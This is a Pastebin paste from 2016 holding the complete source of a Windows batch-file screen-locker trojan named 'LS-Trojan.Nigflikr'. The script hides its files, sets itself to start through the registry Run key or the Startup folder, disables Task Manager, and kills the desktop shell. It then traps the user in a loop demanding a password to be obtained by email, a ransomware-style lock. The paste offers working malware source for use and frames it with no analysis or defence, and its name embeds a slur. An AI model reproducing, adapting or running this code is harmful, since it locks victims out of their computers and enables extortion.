API tools faq
paste
xrahitel

title LS-Trojan.Nigflikr.bat

xrahitel
Dec 19th, 2016
350
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.38 KB | None | 0 0
raw download clone embed print report
  1. @echo off
  2. title LS-Trojan.Nigflikr.bat
  3.  
  4. :: THESE KEEP THE FILES FROM MESSING UP INCASE THE USER RUNS THE PROGRAM MORE THAN ONCE.
  5. :: IF FILES EXIST UNHIDE THEM
  6. if exist "%TEMP%\nigflikr\Password.jchfkjdh" attrib "%TEMP%\nigflikr\Password.jchfkjdh" -s -h
  7. if exist "%TEMP%\nigflikr\Key.fgjodrijg" attrib "%TEMP%\nigflikr\Key.fgjodrijg" -s -h
  8. if exist "%TEMP%\nigflikr\lock.bat" attrib "%TEMP%\nigflikr\lock.bat" -s -h
  9.  
  10. :: IF FILES EXIST DELETE THEM TO PREVENT ERRORS
  11. if exist "%TEMP%\nigflikr\Password.jchfkjdh" del "%TEMP%\nigflikr\Password.jchfkjdh"
  12. if exist "%TEMP%\nigflikr\Key.fgjodrijg" del "%TEMP%\nigflikr\Key.fgjodrijg"
  13. if exist "%TEMP%\nigflikr\lock.bat" del "%TEMP%\nigflikr\lock.bat"
  14.  
  15. :: IF FOLDER DOES NOT EXIST, PUT IT THERE
  16. if not exist "%TEMP%\nigflikr\" mkdir "%TEMP%\nigflikr\"
  17.  
  18. :: ENCRYPTED PASSWORD.
  19. echo -2533-2831-2086-5066-2086-2384-4172-2831-1788-4619-2831-5066-2086-1788-1639 > "%TEMP%\nigflikr\Password.jchfkjdh"
  20.  
  21. :: KEY CODE FOR DECRYPTION.
  22. echo 149 > "%TEMP%\nigflikr\Key.fgjodrijg"
  23.  
  24. :: HIDE FILES.
  25. attrib "%TEMP%\nigflikr\Password.jchfkjdh" +s +h
  26. attrib "%TEMP%\nigflikr\Key.fgjodrijg" +s +h
  27.  
  28. :: CHECK IF THE USER HAS GIVEN ADMIN RIGHTS.
  29. net session >nul 2>&1
  30. if %errorLevel% == 0 (
  31.  
  32. :: IF THE USER DOES HAVE ADMIN RIGHTS DO THIS.
  33. :: REGISTRY START & DISABLE TASK MANGER.
  34. reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Nigflikr" /t REG_SZ /F /D "%TEMP%\nigflikr\lock.bat"
  35.  
  36. :: DISABLE TASK MANAGER WITH NO PROMPT.
  37. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableTaskMgr /t REG_DWORD /d 00000001
  38.  
  39. ) else (
  40.  
  41. :: IF THE USER DOES NOT HAVE ADMIN RIGHTS DO THIS.
  42. :: STARTUP BACKUP INCASE NO ADMIN.
  43.  
  44. if exist "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.bat" attrib "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.bat" -s -h
  45. if exist "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.bat" del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.bat"
  46.  
  47. echo @echo off > "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.bat"
  48. echo call "%%TEMP%%\nigflikr\lock.bat" >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.bat"
  49. echo exit >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.bat"
  50.  
  51. :: HIDE STARTUP FILE
  52. attrib "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.bat" +s +h
  53. )
  54.  
  55. :: LOCK SCREEN, DECRYPTS PASSWORD.
  56. echo @echo off > "%TEMP%\nigflikr\lock.bat"
  57. echo mode con: cols=80 lines=45 >> "%TEMP%\nigflikr\lock.bat"
  58. echo setlocal EnableDelayedExpansion >> "%TEMP%\nigflikr\lock.bat"
  59. echo title WARNING^^^^! YOUR COMPUTER IS INFECTED WITH A DANGEROUS VIRUS^^^^! >> "%TEMP%\nigflikr\lock.bat"
  60. echo color 0c >> "%TEMP%\nigflikr\lock.bat"
  61. echo for /f "Delims=" %%%%A in (%%TEMP%%\nigflikr\Password.jchfkjdh) do set CHECKPASSWORD=%%%%A >> "%TEMP%\nigflikr\lock.bat"
  62. echo for /f "Delims=" %%%%B in (%%TEMP%%\nigflikr\Key.fgjodrijg) do set CHECKKEY=%%%%B >> "%TEMP%\nigflikr\lock.bat"
  63. echo set CHAR=0123456789bhfcjrwmudaxopvntzlqeisykg >> "%TEMP%\nigflikr\lock.bat"
  64. echo for /l %%%%C in (10 1 36) do ( >> "%TEMP%\nigflikr\lock.bat"
  65. echo for /f %%%%D in ("!CHAR:~%%%%C,1!") do ( >> "%TEMP%\nigflikr\lock.bat"
  66. echo set /a MATH=%%%%C*%%CHECKKEY%% >> "%TEMP%\nigflikr\lock.bat"
  67. echo for /f %%%%E in ("!MATH!") do ( >> "%TEMP%\nigflikr\lock.bat"
  68. echo set "CHECKPASSWORD=!CHECKPASSWORD:%%%%E=%%%%D!" >> "%TEMP%\nigflikr\lock.bat"
  69. echo ) >> "%TEMP%\nigflikr\lock.bat"
  70. echo ) >> "%TEMP%\nigflikr\lock.bat"
  71. echo ) >> "%TEMP%\nigflikr\lock.bat"
  72. echo for /f %%%%F in ("!CHECKPASSWORD!") do ( >> "%TEMP%\nigflikr\lock.bat"
  73. echo set "CHECKPASSWORD=!CHECKPASSWORD:-=!" >> "%TEMP%\nigflikr\lock.bat"
  74. echo ) >> "%TEMP%\nigflikr\lock.bat"
  75. echo setlocal DisableDelayedExpansion >> "%TEMP%\nigflikr\lock.bat"
  76.  
  77. :: LOCKS SCREEN, FORCES LOOP AND DEMANDS FOR PASSWORD.
  78. echo taskkill /f /IM explorer.exe >> "%TEMP%\nigflikr\lock.bat"
  79. echo timeout /t 1 /nobreak ^> nul >> "%TEMP%\nigflikr\lock.bat"
  80. echo cls >> "%TEMP%\nigflikr\lock.bat"
  81. echo :Incorrect >> "%TEMP%\nigflikr\lock.bat"
  82. echo cls >> "%TEMP%\nigflikr\lock.bat"
  83.  
  84. :: PROMPT (WITH OPTIONAL ASCII ART)
  85. echo echo. >> "%TEMP%\nigflikr\lock.bat"
  86. echo echo `:+shmNMMMMNdhys+:` >> "%TEMP%\nigflikr\lock.bat"
  87. echo echo :sdMMMMMMMMMMMMMMMMMMNd+` >> "%TEMP%\nigflikr\lock.bat"
  88. echo echo /hNMMMMMMMMMMMMMMMMMMMMMMMMN/ >> "%TEMP%\nigflikr\lock.bat"
  89. echo echo `hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMy` >> "%TEMP%\nigflikr\lock.bat"
  90. echo echo yMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMd. >> "%TEMP%\nigflikr\lock.bat"
  91. echo echo +MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMd >> "%TEMP%\nigflikr\lock.bat"
  92. echo echo mMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM- >> "%TEMP%\nigflikr\lock.bat"
  93. echo echo `MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM/ >> "%TEMP%\nigflikr\lock.bat"
  94. echo echo NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMo >> "%TEMP%\nigflikr\lock.bat"
  95. echo echo sMMMMMmdhyhhdmNMMMMMMMMMmmmNMMMMMMMo >> "%TEMP%\nigflikr\lock.bat"
  96. echo echo .mMMMm.` ```.sMMMMmy+-.``.-:mMMMm. >> "%TEMP%\nigflikr\lock.bat"
  97. echo echo :NMMM: -NMMMs dMMm- >> "%TEMP%\nigflikr\lock.bat"
  98. echo echo /NMMy`.. /NMo:dNs- `-mMN- >> "%TEMP%\nigflikr\lock.bat"
  99. echo echo /MMNmmmdyhdNN+`+ NNyNNho+oydNMM >> "%TEMP%\nigflikr\lock.bat"
  100. echo echo .MMMMMMMMMMMs + `oMMMMMMMMMMy >> "%TEMP%\nigflikr\lock.bat"
  101. echo echo :MMMMMMMMMMMh//N\\hMMMMMMMMMMm` >> "%TEMP%\nigflikr\lock.bat"
  102. echo echo `+yo+sdMMMMMMMMMMMMMMMMNmmmdh: >> "%TEMP%\nigflikr\lock.bat"
  103. echo echo .-.mNMNNMMMMMMMMMNh::..` >> "%TEMP%\nigflikr\lock.bat"
  104. echo echo -m`:+modMNMMMNdMs-`oh >> "%TEMP%\nigflikr\lock.bat"
  105. echo echo m/:`-`:+:dsyh`/--/Mo >> "%TEMP%\nigflikr\lock.bat"
  106. echo echo `..` `mdh/dso+`+-.o/s:hMM/ >> "%TEMP%\nigflikr\lock.bat"
  107. echo echo sNNh/` `yNMMMMMMdMNdMMMNMMMo .-.` >> "%TEMP%\nigflikr\lock.bat"
  108. echo echo `mMMMMd:` :hNMMMMMMMMMMMMNd+` :NMNy` >> "%TEMP%\nigflikr\lock.bat"
  109. echo echo hMMMMMMMh/.` -+hmNMMMMNdy+- .:dMMMMdyo` >> "%TEMP%\nigflikr\lock.bat"
  110. echo echo dMMMMNNMMMNds:.` `-/oo/. `.-+ymMMMMMMMMM: >> "%TEMP%\nigflikr\lock.bat"
  111. echo echo `/++/:::/sdNMMNho:` `./shmMMMNdyo/osyy+` >> "%TEMP%\nigflikr\lock.bat"
  112. echo echo .:sdNMMmh+--+ydNMMMNmy/. >> "%TEMP%\nigflikr\lock.bat"
  113. echo echo -+dMMMMMMMMMmy+-` >> "%TEMP%\nigflikr\lock.bat"
  114. echo echo `-+ydMMMNNMMMMds:` >> "%TEMP%\nigflikr\lock.bat"
  115. echo echo `.:ohmMMMNds+-./sdNMMMNh+-` >> "%TEMP%\nigflikr\lock.bat"
  116. echo echo `-+ydNMMNmy+-` .:ohNMMMmy+-`````` >> "%TEMP%\nigflikr\lock.bat"
  117. echo echo `-/oydNMMMNho:. `-odNMMMMNmmmm+ >> "%TEMP%\nigflikr\lock.bat"
  118. echo echo hNMMMMMMh+- .+ymMMMMMMo >> "%TEMP%\nigflikr\lock.bat"
  119. echo echo -hMMMMM/ `NMMMM+ >> "%TEMP%\nigflikr\lock.bat"
  120. echo echo +NMm: /NMMo >> "%TEMP%\nigflikr\lock.bat"
  121. echo echo. >> "%TEMP%\nigflikr\lock.bat"
  122. echo echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» >> "%TEMP%\nigflikr\lock.bat"
  123. echo echo º !!!! Your computer is infected with the LS-Trojan.Nigflikr Virus !!!! º >> "%TEMP%\nigflikr\lock.bat"
  124. echo echo º A password is required to unlock the computer. To Obtain the password º >> "%TEMP%\nigflikr\lock.bat"
  125. echo echo º !!!! email "[email protected]" PASSWORD IS ENCRYPTED !!!! º >> "%TEMP%\nigflikr\lock.bat"
  126. echo echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ >> "%TEMP%\nigflikr\lock.bat"
  127. echo echo. >> "%TEMP%\nigflikr\lock.bat"
  128. echo set /p "PASSWORD= Enter Password : " >> "%TEMP%\nigflikr\lock.bat"
  129. echo if /i %%PASSWORD%%==%%CHECKPASSWORD%% color 0a ^& cls ^& echo Password Correct! ^& pause ^& goto Correct >> "%TEMP%\nigflikr\lock.bat"
  130. echo if /i not %%PASSWORD%%==%%CHECKPASSWORD%% cls ^& echo Password Incorrect! ^& pause ^& goto Incorrect >> "%TEMP%\nigflikr\lock.bat"
  131. echo :Correct >> "%TEMP%\nigflikr\lock.bat"
  132.  
  133. ::THIS REMOVES THE TROJAN IF THE PASSWORD IS CORRECT.
  134. :: UNHIDE SCREEN
  135. echo start explorer.exe >> "%TEMP%\nigflikr\lock.bat"
  136. echo timeout /t 1 /nobreak ^> nul >> "%TEMP%\nigflikr\lock.bat"
  137.  
  138. :: UNHIDE FILES
  139. echo if exist "%%TEMP%%\nigflikr\Password.jchfkjdh" attrib "%%TEMP%%\nigflikr\Password.jchfkjdh" -s -h >> "%TEMP%\nigflikr\lock.bat"
  140. echo if exist "%%TEMP%%\nigflikr\Key.fgjodrijg" attrib "%%TEMP%%\nigflikr\Key.fgjodrijg" -s -h >> "%TEMP%\nigflikr\lock.bat"
  141. echo if exist "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.bat" attrib "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.bat" -s -h >> "%TEMP%\nigflikr\lock.bat"
  142. echo if exist "%%~f0" attrib "%%~f0" -s -h >> "%TEMP%\nigflikr\lock.bat"
  143.  
  144. :: DELETE FILES IF PASSWORD IS CORRECT.
  145. echo if exist "%%TEMP%%\nigflikr\Password.jchfkjdh" del "%%TEMP%%\nigflikr\Password.jchfkjdh" >> "%TEMP%\nigflikr\lock.bat"
  146. echo if exist "%%TEMP%%\nigflikr\Key.fgjodrijg" del "%%TEMP%%\nigflikr\Key.fgjodrijg" >> "%TEMP%\nigflikr\lock.bat"
  147. echo if exist "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.bat" del "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.bat" >> "%TEMP%\nigflikr\lock.bat"
  148. echo start /b "" cmd /c del "%%~f0" ^& exit /b >> "%TEMP%\nigflikr\lock.bat"
  149. echo exit >> "%TEMP%\nigflikr\lock.bat"
  150.  
  151. REM HIDES THE SCREEN LOCK FILE THEN RUNS IT.
  152. attrib "%TEMP%\nigflikr\lock.bat" +s +h
  153. call "%TEMP%\nigflikr\lock.bat"
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!